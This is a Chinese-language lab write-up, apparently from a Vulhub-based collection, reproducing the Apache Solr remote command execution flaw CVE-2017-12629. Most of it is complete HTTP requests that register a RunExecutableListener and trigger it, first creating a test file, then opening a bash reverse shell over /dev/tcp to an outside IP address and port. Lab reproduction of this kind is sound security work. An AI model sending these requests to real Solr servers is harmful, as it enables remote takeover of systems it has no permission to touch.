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96 lines
2.9 KiB
Markdown
96 lines
2.9 KiB
Markdown
# Apache Solr 远程命令执行漏洞 CVE-2017-12629
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## 漏洞描述
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漏洞原理与分析可以参考：
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- https://www.exploit-db.com/exploits/43009/
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- https://paper.seebug.org/425/
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Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞：[XML实体扩展漏洞（XXE）](https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-XXE)和远程命令执行漏洞（RCE），二者可以连接成利用链，编号均为CVE-2017-12629。
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本环境测试RCE漏洞。
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## 环境搭建
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Vulhub运行漏洞环境：
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```
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docker-compose up -d
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```
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命令执行成功后，需要等待一会，之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面，无需登录。
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## 漏洞复现
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首先创建一个listener，其中设置exe的值为我们想执行的命令，args的值是命令参数：
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```
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POST /solr/demo/config HTTP/1.1
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Host: your-ip
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Length: 158
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{"add-listener":{"event":"postCommit","name":"new_listener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/awesome_poc"]}}
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```
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然后进行update操作，触发刚才添加的listener：
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```
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POST /solr/demo/update HTTP/1.1
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Host: your-ip
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/json
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Content-Length: 15
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[{"id":"test"}]
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```
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执行`docker-compose exec solr bash`进入容器，可见`/tmp/awesome_poc`已成功创建：
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执行反弹shell命令：
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```
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POST /solr/demo/config HTTP/1.1
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Host: your-vps-ip:8983
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Length: 192
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{"add-listener":{"event":"postCommit","name":"newlistener_bash","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1"]}}
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```
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然后进行update操作，触发刚才添加的listener：
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```
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POST /solr/demo/update HTTP/1.1
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Host: your-ip
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/json
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Content-Length: 15
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[{"id":"test"}]
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```
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成功接收反弹shell：
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